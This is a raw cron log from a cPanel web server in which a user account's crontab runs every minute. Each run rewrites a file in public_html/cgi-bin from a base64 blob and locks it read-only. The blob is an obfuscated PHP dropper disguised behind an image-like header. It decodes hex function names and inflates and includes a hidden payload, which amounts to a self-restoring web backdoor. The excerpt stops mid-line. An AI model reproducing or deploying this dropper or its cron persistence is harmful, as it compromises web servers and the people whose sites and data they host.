"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:05:01 server CROND[18284]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 04:05:01 server CROND[18285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:05:01 server CROND[18286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:05:01 server CROND[18287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:06:01 server CROND[18406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:07:01 server CROND[18468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:08:01 server CROND[18626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:09:01 server CROND[18688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:09:01 server CROND[18689]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 04:10:01 server CROND[18775]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:10:01 server CROND[18776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 04:10:01 server CROND[18777]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:10:01 server CROND[18778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:11:01 server CROND[18895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:12:01 server CROND[18974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:12:01 server CROND[18975]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 04:13:02 server CROND[19179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:14:01 server CROND[19250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:15:01 server CROND[19311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:15:01 server CROND[19312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 04:15:01 server CROND[19313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 04:15:01 server CROND[19315]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 04:16:01 server CROND[19425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 04:17:01 server CROND[19483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCj